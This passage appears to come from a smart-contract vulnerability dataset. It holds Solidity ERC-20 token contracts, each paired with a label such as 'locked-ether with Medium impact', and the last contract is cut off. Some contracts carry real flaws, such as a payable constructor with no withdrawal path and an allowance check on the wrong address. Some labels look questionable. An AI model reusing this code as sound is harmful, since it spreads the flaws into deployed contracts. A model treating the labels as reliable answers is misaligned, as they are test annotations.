function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Partial License: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Partial License: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Partial License: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((amount == 0) || (_allowances[msg.sender][spender] == 0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity ^0.6.0;
contract YieldToken is ERC20 {
constructor(uint256 _initialSupply) ERC20("Yieldery Token", "YIELD") public payable {
_setupDecimals(18);
_mint(msg.sender, _initialSupply);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-05-22
*/
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ExoPlanetInu' token contract
//
// Deployed to : 0x32a6c15b8aF390175Cf34212561c5c17b2a0D642
// Symbol : EXOTINU
// Name : ExoPlanetInu
// Total supply: 1000000000000000
// Decimals : 18
//
//
//
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ExoPlanetInu is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ExoPlanetInu() public {
symbol = "EXOTINU";
name = "ExoPlanetInu";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0x32a6c15b8aF390175Cf34212561c5c17b2a0D642] = _totalSupply;
Transfer(address(0), 0x32a6c15b8aF390175Cf34212561c5c17b2a0D642, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.7.0;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
